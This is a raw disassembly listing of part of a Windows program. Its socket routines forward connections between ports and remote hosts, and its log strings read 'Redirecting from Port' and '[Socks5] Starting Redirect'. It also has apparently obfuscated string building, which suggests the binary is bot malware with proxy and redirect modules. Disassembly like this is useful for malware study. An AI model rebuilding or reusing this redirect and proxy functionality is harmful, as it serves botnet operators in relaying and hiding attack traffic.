var_1C		= dword	ptr -1Ch
var_C		= byte ptr -0Ch
var_A		= word ptr -0Ah
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  4

		mov	eax, 1014h
		call	sub_436840
		push	ebx
		push	ebp
		push	esi
		mov	esi, ecx
		push	edi
		or	edi, 0FFFFFFFFh
		mov	eax, [esi+99h]
		mov	[esi+0A5h], edi
		mov	cl, [eax+11Ch]
		test	cl, cl
		jz	loc_42B70A
		mov	ebx, 1
		push	6
		push	ebx
		push	2
		nop
		call	near ptr 71AB3B91h
		cmp	eax, edi
		mov	[esi+0A5h], eax
		jnz	short loc_42B598
		mov	[esi+0A5h], edi
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 1014h
		retn
; ---------------------------------------------------------------------------


loc_42B598:				; CODE XREF: sub_42B540+45j
		mov	dx, [esi+3Fh]
		xor	ecx, ecx
		mov	[esp+1Ch+var_8], ecx
		push	edx
		mov	[esp+20h+var_4], ecx
		mov	word ptr [esp+20h+var_8], 2
		mov	[esp+20h], ecx
		mov	[esp+20h+arg_0], ecx
		call	near ptr 71AB2B66h
		nop
		lea	ecx, [esi+43h]
		mov	[esp+20h+var_A], ax
		call	sub_4017E4
		push	eax
		call	sub_40187F
		add	esp, 4
		cmp	eax, edi
		mov	[esp+20h+var_8], eax
		jnz	short loc_42B5F2
		mov	eax, [esi+0A5h]
		push	eax
		call	near ptr 71AB9639h
		nop
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 1014h
		retn
; ---------------------------------------------------------------------------


loc_42B5F2:				; CODE XREF: sub_42B540+98j
		mov	edx, [esi+0A5h]
		lea	ecx, [esp+20h+var_C]
		push	10h
		push	ecx
		push	edx
		nop
		call	near ptr 71AB406Ah
		cmp	eax, edi
		jnz	short loc_42B622
		mov	eax, [esi+0A5h]
		push	eax
		nop
		call	near ptr 71AB9639h
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 1014h
		retn
; ---------------------------------------------------------------------------


loc_42B622:				; CODE XREF: sub_42B540+C8j
		mov	edx, [esi+0A1h]
		mov	edi, dword_50FC50
		lea	ecx, [esp+2Ch+var_1C]
		mov	[esp+2Ch+var_1C], ebx
		push	ecx
		push	8004667Eh
		push	edx
		call	edi	; ioctlsocket
		mov	ecx, [esi+0A5h]
		lea	eax, [esp+38h+var_28]
		push	eax
		push	8004667Eh
		push	ecx
		mov	[esp+44h+var_28], ebx
		call	edi	; ioctlsocket
		mov	edx, [esi+99h]
		mov	al, [edx+11Ch]
		test	al, al
		jz	loc_42B70A
		mov	ebx, dword_50FC90
		mov	ebp, dword_50FC8C


loc_42B676:				; CODE XREF: sub_42B540+1BAj
		mov	ecx, [esi+0A5h]
		push	0
		lea	eax, [esp+48h+var_20]
		push	1000h
		push	eax
		push	ecx
		call	ebx	; recv
		mov	edi, eax
		test	edi, edi
		jz	short loc_42B70A
		jge	short loc_42B6A0
		nop
		call	near ptr 71AB94DCh
		cmp	eax, 2733h
		jnz	short loc_42B702


loc_42B6A0:				; CODE XREF: sub_42B540+151j
		mov	eax, [esi+0A1h]
		push	0
		lea	edx, [esp+58h+var_30]
		push	edi
		push	edx
		push	eax
		call	ebp	; send
		mov	edx, [esi+0A1h]
		push	0
		lea	ecx, [esp+68h+var_40]
		push	1000h
		push	ecx
		push	edx
		call	ebx	; recv
		mov	edi, eax
		test	edi, edi
		jz	short loc_42B70A
		jge	short loc_42B6DB
		call	near ptr 71AB94DCh
		nop
		cmp	eax, 2733h
		jnz	short loc_42B702


loc_42B6DB:				; CODE XREF: sub_42B540+18Cj
		mov	ecx, [esi+0A5h]
		push	0
		lea	eax, [esp+78h+var_50]
		push	edi
		push	eax
		push	ecx
		call	ebp	; send
		mov	edx, [esi+99h]
		mov	al, [edx+11Ch]
		test	al, al
		jnz	loc_42B676
		jmp	short loc_42B70A
; ---------------------------------------------------------------------------


loc_42B702:				; CODE XREF: sub_42B540+15Ej
					; sub_42B540+199j
		push	0Ah
		nop
		call	near ptr 28302B0h


loc_42B70A:				; CODE XREF: sub_42B540+27j
					; sub_42B540+124j ...
		mov	eax, [esi+0A1h]
		mov	edi, dword_50FC88
		cmp	eax, 0FFFFFFFFh
		jz	short loc_42B71E
		push	eax
		call	edi	; closesocket


loc_42B71E:				; CODE XREF: sub_42B540+1D9j
		mov	esi, [esi+0A5h]
		cmp	esi, 0FFFFFFFFh
		jz	short loc_42B72C
		push	esi
		call	edi	; closesocket


loc_42B72C:				; CODE XREF: sub_42B540+1E7j
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 1014h
		retn
sub_42B540	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 9 dup(90h)
		db 80h dup(0CCh)
		db  6Ah	; j
		db 0FFh
		db  68h	; h
		db  48h	; H
		db 0BCh	; ╪
		db  43h	; C
		db    0
		db  64h	; d
		db 0A1h	; ║
		db    0
		db    0
		db    0
		db    0
		db  50h	; P
		db  64h	; d
		db  89h	; ┴
		db  25h	; %
		db    0
		db    0
		db    0
		db    0
		db  51h	; Q
		db  56h	; V
		db  8Bh	; ▀
		db 0F1h	; Я
		db  89h	; ┴
		db  74h	; t
		db  24h	; $
		db    4
		db 0E8h	; Х
		db 0A0h	; ═
		db  67h	; g
		db 0FDh	; Щ
		db 0FFh
		db  68h	; h
		db  80h	; ─
		db  3Dh	; =
		db  44h	; D
		db    0
		db  8Dh	; █
		db  4Eh	; N
		db  11h
		db 0C7h	; г
		db  44h	; D
		db  24h	; $
		db  14h
		db    0
		db    0
		db    0
		db    0
		db 0C7h	; г
		db    6
		db 0C0h	; ю
		db 0E1h	; А
		db  43h	; C
		db    0
		db 0E8h	; Х
		db 0DAh	; з
		db  5Dh	; ]
		db 0FDh	; Щ
		db 0FFh
		db  8Bh	; ▀
		db  4Ch	; L
		db  24h	; $
		db    8
		db  8Bh	; ▀
		db 0C6h	; ф
		db  5Eh	; ^
		db  64h	; d
		db  89h	; ┴
		db  0Dh
		db    0
		db    0
		db    0
		db    0
		db  83h	; ┐
		db 0C4h	; д
		db  10h
		db 0C3h	; ц
		db 90h
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------


loc_42B830:				; CODE XREF: ___:loc_4015F0j
					; ___:00401FAAj
		push	esi
		mov	esi, ecx
		call	sub_401B8B
		test	byte ptr [esp+8], 1
		jz	short loc_42B848
		push	esi
		call	sub_4367E2
; ---------------------------------------------------------------------------
		add	esp, 4


loc_42B848:				; CODE XREF: ___:0042B83Dj
		mov	eax, esi
		pop	esi
		retn	4
; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_42B860	proc near		; CODE XREF: sub_401B8Bj
		jmp	sub_40179E
sub_42B860	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_42B880	proc near		; CODE XREF: sub_4019E2j

var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= byte ptr -1Ch
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		mov	eax, large fs:0
		push	0FFFFFFFFh
		push	offset SEH_42B880
		push	eax
		mov	large fs:0, esp
		sub	esp, 28h
		push	ebx
		push	ebp
		push	esi
		mov	esi, ecx
		push	edi
		mov	eax, [esi+3Fh]
		lea	ebx, [esi+43h]
		push	eax
		mov	ecx, ebx
		lea	edi, [esi+11h]
		lea	ebp, [esi+26h]
		call	sub_4017E4
		mov	ecx, [esi+3Bh]
		push	eax
		push	ecx
		mov	ecx, edi
		call	sub_4017E4
		push	eax
		push	offset aSRedirectingFr ; "[%s] Redirecting from	Port %d	to '%s:%d"...
		mov	ecx, ebp
		call	sub_4014D3
		mov	dl, [esi+98h]
		push	eax
		mov	al, [esi+97h]
		push	edx
		push	eax
		push	offset byte_4D60B5
		call	sub_401848
		add	esp, 24h
		push	6
		push	1
		push	2
		nop
		call	near ptr 71AB3B91h
		cmp	eax, 0FFFFFFFFh
		mov	[esi+9Dh], eax
		jz	loc_42BAB8
		mov	dx, [esi+3Bh]
		xor	ecx, ecx
		mov	[esp+44h+var_2C], ecx
		push	edx
		mov	[esp+48h+var_28], ecx
		mov	word ptr [esp+48h+var_2C], 2
		mov	[esp+48h+var_24], ecx
		mov	[esp+48h+var_20], ecx
		nop
		call	near ptr 71AB2B66h
		mov	ecx, [esi+9Dh]
		mov	word ptr [esp+44h+var_2C+2], ax
		lea	eax, [esp+44h+var_2C]
		push	10h
		push	eax
		push	ecx
		mov	[esp+50h+var_34], 10h
		call	near ptr 71AB3E00h
		nop
		test	eax, eax
		jz	short loc_42B96B
		mov	edx, [esi+9Dh]
		push	edx
		nop
		call	near ptr 71AB9639h
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		mov	ecx, [esp+34h+var_C]
		mov	large fs:0, ecx
		add	esp, 34h
		retn
; ---------------------------------------------------------------------------


loc_42B96B:				; CODE XREF: sub_42B880+C9j
		mov	eax, [esi+99h]
		mov	cl, [eax+11Ch]
		test	cl, cl
		jz	loc_42BA64


loc_42B97F:				; CODE XREF: sub_42B880+1DEj
		mov	ecx, [esi+9Dh]
		push	0Ah
		push	ecx
		nop
		call	near ptr 71AB88D3h
		cmp	eax, 0FFFFFFFFh
		jz	loc_42BA45
		mov	ecx, [esi+9Dh]
		lea	edx, [esp+44h+var_34]
		lea	eax, [esp+44h+var_1C]
		push	edx
		push	eax
		push	ecx
		call	near ptr 71AC1028h
		nop
		mov	ebp, eax
		cmp	ebp, 0FFFFFFFFh
		jz	loc_42BA45
		xor	edi, edi
		cmp	ebp, edi
		jz	loc_42BA45
		push	0A9h
		call	sub_4367FA
; ---------------------------------------------------------------------------
		add	esp, 4
		mov	[esp+44h+var_30], eax
		cmp	eax, edi
		mov	[esp+44h+var_4], edi
		jz	short loc_42B9E5
		mov	ecx, eax
		call	sub_401663
		mov	edi, eax


loc_42B9E5:				; CODE XREF: sub_42B880+15Aj
		mov	edx, [esi+99h]
		mov	[edi+9Dh], esi
		mov	[edi+99h], edx
		mov	eax, [esi+3Bh]
		mov	[edi+3Bh], eax
		mov	ecx, [esi+3Fh]
		mov	[edi+3Fh], ecx
		push	ebx
		lea	ecx, [edi+43h]
		mov	[esp+48h+var_4], 0FFFFFFFFh
		call	sub_401FBE
		lea	eax, [esi+26h]
		lea	ecx, [edi+26h]
		push	eax
		mov	[edi+0A1h], ebp
		call	sub_401FBE
		mov	dl, [esi+97h]
		mov	ecx, edi
		mov	[edi+97h], dl
		mov	al, [esi+98h]
		mov	[edi+98h], al
		call	sub_4013D4


loc_42BA45:				; CODE XREF: sub_42B880+111j
					; sub_42B880+133j ...
		push	0FAh
		nop
		call	near ptr 28302B0h
		mov	ecx, [esi+99h]
		mov	al, [ecx+11Ch]
		test	al, al
		jnz	loc_42B97F


loc_42BA64:				; CODE XREF: sub_42B880+F9j
		mov	eax, [esi+9Dh]
		cmp	eax, 0FFFFFFFFh
		jz	short loc_42BA76
		push	eax
		nop
		call	near ptr 71AB9639h


loc_42BA76:				; CODE XREF: sub_42B880+1EDj
		mov	edx, [esi+3Fh]
		mov	ecx, ebx
		push	edx
		call	sub_4017E4
		push	eax
		mov	eax, [esi+3Bh]
		push	eax
		lea	ecx, [esi+11h]
		call	sub_4017E4
		push	eax
		push	offset aSFinishedRed_0 ; "[%s] Finished	redirecting from port %d "...
		lea	ecx, [esi+26h]
		call	sub_4014D3
		mov	cl, [esi+98h]
		mov	dl, [esi+97h]
		push	eax
		push	ecx
		push	edx
		push	offset byte_4D60B5
		call	sub_401848
		add	esp, 24h


loc_42BAB8:				; CODE XREF: sub_42B880+7Cj
		mov	ecx, [esp+44h+var_C]
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		mov	large fs:0, ecx
		add	esp, 34h
		retn
sub_42B880	endp

; ---------------------------------------------------------------------------
		db 5 dup(90h)
		db 0A0h	dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_42BB70	proc near		; CODE XREF: sub_4021DFj

var_3C		= byte ptr -3Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_42BB70
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 30h
		push	esi
		push	edi
		push	0
		push	10h
		push	3
		push	14h
		push	4Fh
		push	14h
		push	3
		push	5
		push	12h
		push	9
		push	4
		mov	esi, ecx
		push	5
		lea	eax, [esp+74h+var_3C]
		push	12h
		push	eax
		mov	dword ptr [esi+118h], 0
		call	sub_4019B5
		add	esp, 38h
		push	esi
		mov	ecx, eax
		mov	[esp+48h+var_4], 0
		call	sub_4017E4
		lea	ecx, [esi+4]
		push	eax
		push	ecx
		mov	ecx, offset dword_447158
		call	sub_401591
sub_42BB70	endp

; ---------------------------------------------------------------------------
		or	edi, 0FFFFFFFFh
		lea	ecx, [esp+8]
		mov	[esp+40h], edi
		call	sub_401226
		push	0
		push	5
		push	12h
		push	7
		push	4Fh
		push	14h
		push	3
		push	5
		push	12h
		push	9
		push	4
		push	5
		lea	edx, [esp+38h]
		push	12h
		push	edx
		call	sub_4019B5
		add	esp, 38h
		push	esi
		mov	ecx, eax
		mov	dword ptr [esp+44h], 1
		call	sub_4017E4
		push	eax
		lea	eax, [esi+32h]
		push	eax
		mov	ecx, offset dword_447158
		call	sub_401591
; ---------------------------------------------------------------------------
		lea	ecx, [esp+8]
		mov	[esp+40h], edi
		call	sub_401226
		push	0
		push	10h
		push	14h
		push	14h
		push	8
		push	4Fh
		push	14h
		push	3
		push	5
		push	12h
		push	9
		push	4
		push	5
		lea	ecx, [esp+3Ch]
		push	12h
		push	ecx
		call	sub_4019B5
		add	esp, 3Ch
		push	esi
		mov	ecx, eax
		mov	dword ptr [esp+44h], 2
		call	sub_4017E4
		lea	edx, [esi+60h]
		push	eax
		push	edx
		mov	ecx, offset dword_447158
		call	sub_401591
; ---------------------------------------------------------------------------
		lea	ecx, [esp+8]
		mov	[esp+40h], edi
		call	sub_401226
		push	0
		push	13h
		push	0Bh
		push	3
		push	0Fh
		push	13h
		push	4Fh
		push	14h
		push	3
		push	5
		push	12h
		push	9
		push	4
		push	5
		lea	eax, [esp+40h]
		push	12h
		push	eax
		call	sub_4019B5
		add	esp, 40h
		push	esi
		mov	ecx, eax
		mov	dword ptr [esp+44h], 3
		call	sub_4017E4
		lea	ecx, [esi+8Eh]
		push	eax
		push	ecx
		mov	ecx, offset dword_447158
		call	sub_401591
; ---------------------------------------------------------------------------
		lea	ecx, [esp+8]
		mov	[esp+40h], edi
		call	sub_401226
		push	0
		push	49h
		push	13h
		push	0Bh
		push	3
		push	0Fh
		push	13h
		push	4Fh
		push	14h
		push	3
		push	5
		push	12h
		push	9
		push	4
		push	5
		lea	edx, [esp+44h]
		push	12h
		push	edx
		call	sub_4019B5
		add	esp, 44h
		push	esi
		mov	ecx, eax
		mov	dword ptr [esp+44h], 4
		call	sub_4017E4
		push	eax
		lea	eax, [esi+0BCh]
		push	eax
		mov	ecx, offset dword_447158
		call	sub_401591
; ---------------------------------------------------------------------------
		lea	ecx, [esp+8]
		mov	[esp+40h], edi
		call	sub_401226
		push	0
		push	10h
		push	0Fh
		push	14h
		push	13h
		push	4Fh
		push	14h
		push	3
		push	5
		push	12h
		push	9
		push	4
		push	5
		lea	ecx, [esp+54h]
		push	12h
		push	ecx
		call	sub_4019B5
		add	esp, 3Ch
		push	esi
		mov	ecx, eax
		mov	dword ptr [esp+44h], 5
		call	sub_4017E4
		add	esi, 0EAh
		push	eax
		push	esi
		mov	ecx, offset dword_447158
		call	sub_401591
; ---------------------------------------------------------------------------
		lea	ecx, [esp+20h]
		mov	[esp+40h], edi
		call	sub_401226
		mov	ecx, [esp+38h]
		pop	edi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 3Ch
		retn
; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 0A0h	dup(0CCh)
; ---------------------------------------------------------------------------


loc_42BE60:				; CODE XREF: ___:loc_40202Cj
		mov	eax, large fs:0
		push	0FFFFFFFFh
		push	offset loc_43BD84
		push	eax
		mov	large fs:0, esp
		sub	esp, 68h
		push	ebx
		push	ebp
		push	esi
		mov	esi, [esp+84h]
		mov	ebp, ecx
		push	edi
		lea	edi, [esi+7Eh]
		lea	ecx, [ebp+4]
		call	sub_4017E4
		push	eax
		mov	ecx, edi
		call	sub_4012EE
		or	ebx, 0FFFFFFFFh
		test	eax, eax
		jnz	loc_42BFC7
		push	0A1h
		call	sub_4367FA
; ---------------------------------------------------------------------------
		db 83h,	0C4h, 4
		dd 88248489h, 33000000h, 89C73BFFh, 8024BCh, 9740000h
		dd 93E8C88Bh, 8BFFFD57h, 360068F8h, 448D0044h, 16A4C24h
		dd 11C85C6h, 50010000h,	9C89CE8Bh, 8C24h, 99AF8900h, 0E8000000h
		dd 0FFFD57BAh, 84C7C88Bh, 8024h, 100h, 58DEE800h, 9050FFFDh
		dd 7F000BE8h, 4C48377h,	48244C8Dh, 893B4789h, 80249Ch
		dd 3E80000h, 68FFFD53h,	443600h, 4C244C8Dh, 8B51026Ah
		dd 5778E8CEh, 8D50FFFDh, 84C7434Fh, 8424h, 200h, 6074E800h
		dd 4C8DFFFDh, 9C894824h, 8024h,	52CCE800h, 68FFFDh, 8D004436h
		dd 6A4C2454h, 0CE8B5203h, 0FD5741E8h, 0C7C88BFFh, 802484h
		dd 30000h, 65E80000h, 50FFFD58h, 0FF92E890h, 0C483777Eh
		dd 244C8D04h, 3F478948h, 80249C89h, 0E8000000h,	0FFFD528Ah
		dd 8D69468Dh, 0E850264Fh, 0FFFD6016h, 938E8Ah, 8F880000h
		dd 97h,	94968Ah, 0CF8B0000h, 989788h, 0DE80000h
		db 54h,	0FDh, 0FFh
; ---------------------------------------------------------------------------


loc_42BFC7:				; CODE XREF: ___:0042BE9Dj
		lea	ecx, [ebp+32h]
		call	sub_4017E4
		push	eax
		lea	ecx, [esi+7Eh]
		call	sub_4012EE
		test	eax, eax
		jnz	loc_42C0F7
		push	9Dh
		call	sub_4367FA
; ---------------------------------------------------------------------------
		add	esp, 4
		mov	[esp+88h], eax
		test	eax, eax
		mov	dword ptr [esp+80h], 4
		jz	short loc_42C00E
		mov	ecx, eax
		call	sub_401889
		mov	edi, eax
		jmp	short loc_42C010
; ---------------------------------------------------------------------------


loc_42C00E:				; CODE XREF: ___:0042C001j
		xor	edi, edi


loc_42C010:				; CODE XREF: ___:0042C00Cj
		push	offset asc_443600 ; " "
		lea	eax, [esp+4Ch]
		push	1
		mov	byte ptr [ebp+11Ch], 1
		push	eax
		mov	ecx, esi
		mov	[esp+8Ch], ebx
		mov	[edi+99h], ebp
		call	sub_4016AE
		push	eax
		lea	ecx, [edi+58h]
		mov	dword ptr [esp+84h], 5
		call	sub_401FBE
		lea	ecx, [esp+48h]
		mov	[esp+80h], ebx
		call	sub_401226
		push	offset asc_443600 ; " "
		lea	ecx, [esp+4Ch]
		push	2
		push	ecx
		mov	ecx, esi
		call	sub_4016AE
		push	eax
		lea	ecx, [edi+6Dh]
		mov	dword ptr [esp+84h], 6
		call	sub_401FBE
		lea	ecx, [esp+48h]
		mov	[esp+80h], ebx
		call	sub_401226
		push	offset asc_443600 ; " "
		lea	edx, [esp+4Ch]
		push	3
		push	edx
		mov	ecx, esi
		call	sub_4016AE
		push	eax
		lea	ecx, [edi+82h]
		mov	dword ptr [esp+84h], 7
		call	sub_401FBE
		lea	ecx, [esp+48h]
		mov	[esp+80h], ebx
		call	sub_401226
		lea	eax, [esi+69h]
		lea	ecx, [edi+26h]
		push	eax
		call	sub_401FBE
		mov	cl, [esi+93h]
		mov	[edi+97h], cl
		mov	dl, [esi+94h]
		mov	ecx, edi
		mov	[edi+98h], dl
		call	sub_4013D4


loc_42C0F7:				; CODE XREF: ___:0042BFDAj
		lea	ecx, [ebp+60h]
		call	sub_4017E4
		push	eax
		lea	ecx, [esi+7Eh]
		call	sub_4012EE
		test	eax, eax
		jnz	loc_42C220
		push	0A2h
		call	sub_4367FA
; ---------------------------------------------------------------------------
		add	esp, 4
		mov	[esp+88h], eax
		test	eax, eax
		mov	dword ptr [esp+80h], 8
		jz	short loc_42C13E
		mov	ecx, eax
		call	sub_4018DE
		mov	edi, eax
		jmp	short loc_42C140
; ---------------------------------------------------------------------------


loc_42C13E:				; CODE XREF: ___:0042C131j
		xor	edi, edi


loc_42C140:				; CODE XREF: ___:0042C13Cj
		push	offset asc_443600 ; " "
		lea	eax, [esp+4Ch]
		push	1
		mov	byte ptr [ebp+11Ch], 1
		push	eax
		mov	ecx, esi
		mov	[esp+8Ch], ebx
		mov	[edi+99h], ebp
		call	sub_4016AE
		mov	ecx, eax
		mov	dword ptr [esp+80h], 9
		call	sub_4017E4
		push	eax
		call	near ptr 77C1BF18h
		nop
		add	esp, 4
		lea	ecx, [esp+48h]
		mov	[edi+3Bh], eax
		mov	[esp+80h], ebx
		call	sub_401226
		push	offset asc_443600 ; " "
		lea	ecx, [esp+4Ch]
		push	2
		push	ecx
		mov	ecx, esi
		call	sub_4016AE
		push	offset aTrue	; "true"
		mov	ecx, eax
		mov	dword ptr [esp+84h], 0Ah
		call	sub_401500
		test	eax, eax
		lea	ecx, [esp+48h]
		mov	[esp+80h], ebx
		setz	byte ptr [esp+88h]
		call	sub_401226
		mov	al, [esp+88h]
		test	al, al
		jz	short loc_42C1EE
		mov	byte ptr [edi+9Dh], 1
		jmp	short loc_42C1F5
; ---------------------------------------------------------------------------


loc_42C1EE:				; CODE XREF: ___:0042C1E3j
		mov	byte ptr [edi+9Dh], 0


loc_42C1F5:				; CODE XREF: ___:0042C1ECj
		lea	edx, [esi+69h]
		lea	ecx, [edi+26h]
		push	edx
		call	sub_401FBE
		mov	al, [esi+93h]
		mov	[edi+97h], al
		mov	cl, [esi+94h]
		mov	[edi+98h], cl
		mov	ecx, edi
		call	sub_4013D4


loc_42C220:				; CODE XREF: ___:0042C10Aj
		lea	ecx, [ebp+8Eh]
		call	sub_4017E4
		push	eax
		lea	ecx, [esi+7Eh]
		call	sub_4012EE
		test	eax, eax
		jnz	loc_42C2ED
		push	0A1h
		call	sub_4367FA
; ---------------------------------------------------------------------------
		add	esp, 4
		mov	[esp+88h], eax
		test	eax, eax
		mov	dword ptr [esp+80h], 0Bh
		jz	short loc_42C26A
		mov	ecx, eax
		call	sub_40216C
		mov	edi, eax
		jmp	short loc_42C26C
; ---------------------------------------------------------------------------


loc_42C26A:				; CODE XREF: ___:0042C25Dj
		xor	edi, edi


loc_42C26C:				; CODE XREF: ___:0042C268j
		push	offset asc_443600 ; " "
		lea	edx, [esp+4Ch]
		push	1
		mov	byte ptr [ebp+11Ch], 1
		push	edx
		mov	ecx, esi
		mov	[esp+8Ch], ebx
		mov	[edi+99h], ebp
		call	sub_4016AE
		mov	ecx, eax
		mov	dword ptr [esp+80h], 0Ch
		call	sub_4017E4
		push	eax
		call	near ptr 77C1BF18h
		nop
		add	esp, 4
		lea	ecx, [esp+48h]
		mov	[edi+3Bh], eax
		mov	[esp+80h], ebx
		call	sub_401226
		lea	eax, [esi+69h]
		lea	ecx, [edi+26h]
		push	eax
		call	sub_401FBE
		mov	cl, [esi+93h]
		mov	[edi+97h], cl
		mov	dl, [esi+94h]
		mov	ecx, edi
		mov	[edi+98h], dl
		call	sub_4013D4


loc_42C2ED:				; CODE XREF: ___:0042C236j
		lea	ecx, [ebp+0BCh]
		call	sub_4014D3
		lea	edi, [esi+7Eh]
		push	eax
		mov	ecx, edi
		mov	[esp+8Ch], edi
		call	sub_4012EE
		test	eax, eax
		jnz	loc_42C519
		lea	ecx, [esp+30h]
		call	sub_401424
		lea	ecx, [esp+18h]
		mov	dword ptr [esp+80h], 0Dh
		call	sub_401424
		push	offset asc_443600 ; " "
		lea	eax, [esp+4Ch]
		push	2
		push	eax
		mov	ecx, esi
		mov	byte ptr [esp+8Ch], 0Eh
		call	sub_4016AE
		mov	ecx, eax
		mov	byte ptr [esp+80h], 0Fh
		call	sub_4017E4
		push	eax
		lea	ecx, [esp+34h]
		call	sub_401A87
		lea	ecx, [esp+48h]
		mov	byte ptr [esp+80h], 0Eh
		call	sub_401226
		push	offset asc_443600 ; " "
		lea	ecx, [esp+4Ch]
		push	3
		push	ecx
		mov	ecx, esi
		call	sub_4016AE
		mov	ecx, eax
		mov	byte ptr [esp+80h], 10h
		call	sub_4017E4
		push	eax
		lea	ecx, [esp+1Ch]
		call	sub_401A87
		lea	ecx, [esp+48h]
		mov	byte ptr [esp+80h], 0Eh
		call	sub_401226
		lea	ecx, [esp+30h]
		call	sub_4014D3
		cmp	eax, offset byte_446F70
		jnz	short loc_42C3CF
		push	offset aRoot	; "root"
		lea	ecx, [esp+1Ch]
		call	sub_401A87


loc_42C3CF:				; CODE XREF: ___:0042C3BFj
		lea	ecx, [esp+18h]
		call	sub_4014D3
		cmp	eax, offset byte_446F70
		jnz	short loc_42C3ED
		push	offset byte_446F70
		lea	ecx, [esp+1Ch]
		call	sub_401A87


loc_42C3ED:				; CODE XREF: ___:0042C3DDj
		push	offset asc_443600 ; " "
		lea	edx, [esp+4Ch]
		push	1
		push	edx
		mov	ecx, esi
		call	sub_4016AE
		mov	edi, eax
		lea	ecx, [esp+18h]
		mov	byte ptr [esp+80h], 11h
		call	sub_4017E4
		push	eax
		lea	ecx, [esp+34h]
		call	sub_4017E4
		push	eax
		mov	ecx, edi
		call	sub_4017E4
		mov	edi, dword_50FB08
		push	eax
		call	edi	; atoi
		add	esp, 4
		lea	ecx, [esi+69h]
		push	eax
		push	offset aSocks5Starting ; "[Socks5] Starting Redirect [Port %d :: "...
		call	sub_4014D3
		mov	cl, [esi+93h]
		push	eax
		mov	al, [esi+94h]
		push	eax
		push	ecx
		push	offset byte_4D60B5
		call	sub_401848
		add	esp, 20h
		lea	ecx, [esp+48h]
		mov	byte ptr [esp+80h], 0Eh
		call	sub_401226
		lea	ecx, [esp+18h]
		call	sub_4017E4
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+28h], esp
		push	eax
		call	sub_401861
		lea	ecx, [esp+48h]
		mov	byte ptr [esp+98h], 12h
		call	sub_4017E4
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+44h], esp
		push	eax
		call	sub_401861
		push	offset asc_443600 ; " "
		lea	edx, [esp+94h]
		push	1
		push	edx
		mov	ecx, esi
		mov	byte ptr [esp+0BCh], 13h
		call	sub_4016AE
		mov	ecx, eax
		mov	byte ptr [esp+0B0h], 15h
		call	sub_4017E4
		push	eax
		call	edi	; atoi
		add	esp, 4
		push	eax
		call	sub_401C17
		add	esp, 34h
		lea	ecx, [esp+60h]
		mov	byte ptr [esp+80h], 0Eh
		call	sub_401226
		lea	ecx, [esp+18h]
		mov	byte ptr [esp+80h], 0Dh
		call	sub_401226
		lea	ecx, [esp+30h]
		mov	[esp+80h], ebx
		call	sub_401226
		mov	edi, [esp+88h]


loc_42C519:				; CODE XREF: ___:0042C30Cj
		lea	ecx, [ebp+0EAh]
		call	sub_4017E4
		push	eax
		mov	ecx, edi
		call	sub_4012EE
		test	eax, eax
		jnz	short loc_42C536
		mov	[ebp+11Ch], al


loc_42C536:				; CODE XREF: ___:0042C52Ej
		mov	ecx, [esp+78h]
		pop	edi
		pop	esi
		pop	ebp
		mov	al, 1
		mov	large fs:0, ecx
		pop	ebx
		add	esp, 74h
		retn	4
; ---------------------------------------------------------------------------
		db 3 dup(90h)
		db 1C0h	dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_42C710	proc near		; CODE XREF: sub_4021A8j

var_4		= dword	ptr -4

		push	ecx
		mov	edx, dword_447A8D
		push	esi
		mov	esi, ecx
		mov	eax, [esi+99h]
		mov	ecx, [eax+118h]
		cmp	edx, ecx
		jl	short loc_42C731
		inc	ecx
		mov	[eax+118h], ecx


loc_42C731:				; CODE XREF: sub_42C710+18j
		mov	eax, [esi]
		mov	ecx, esi
		call	dword ptr [eax+8]
		mov	eax, [esi+99h]
		mov	[esp+8+var_4], esi
		mov	ecx, [eax+118h]
		dec	ecx
		mov	[eax+118h], ecx
		lea	ecx, [esp+8+var_4]
		push	ecx
		mov	ecx, offset byte_4E6EDB
		call	sub_40120D
sub_42C710	endp

; ---------------------------------------------------------------------------
		xor	eax, eax
		pop	esi
		pop	ecx
		retn
; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_42C790	proc near		; CODE XREF: sub_401E06j

var_190		= byte ptr -190h

		sub	esp, 190h
		lea	eax, [esp+190h+var_190]
		push	eax
		push	101h
		call	sub_436F4E
sub_42C790	endp

; ---------------------------------------------------------------------------
		db 85h,	0C0h, 74h
		dd 840D8B19h, 500050FAh, 6840C183h, 445414h, 54E89051h
		dd 83778146h, 0C4810CC4h, 190h,	909090C3h, 90909090h, 4	dup(0CCCCCCCCh)
; ---------------------------------------------------------------------------


loc_42C7E0:				; CODE XREF: ___:00401D7Aj
		mov	eax, [esp+4]
		test	eax, eax
		jz	short loc_42C7F3
		mov	ecx, [eax+18h]
		test	ecx, ecx
		jnz	short loc_42C7F3
		add	eax, 44h
		retn
; ---------------------------------------------------------------------------


loc_42C7F3:				; CODE XREF: ___:0042C7E6j
					; ___:0042C7EDj
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


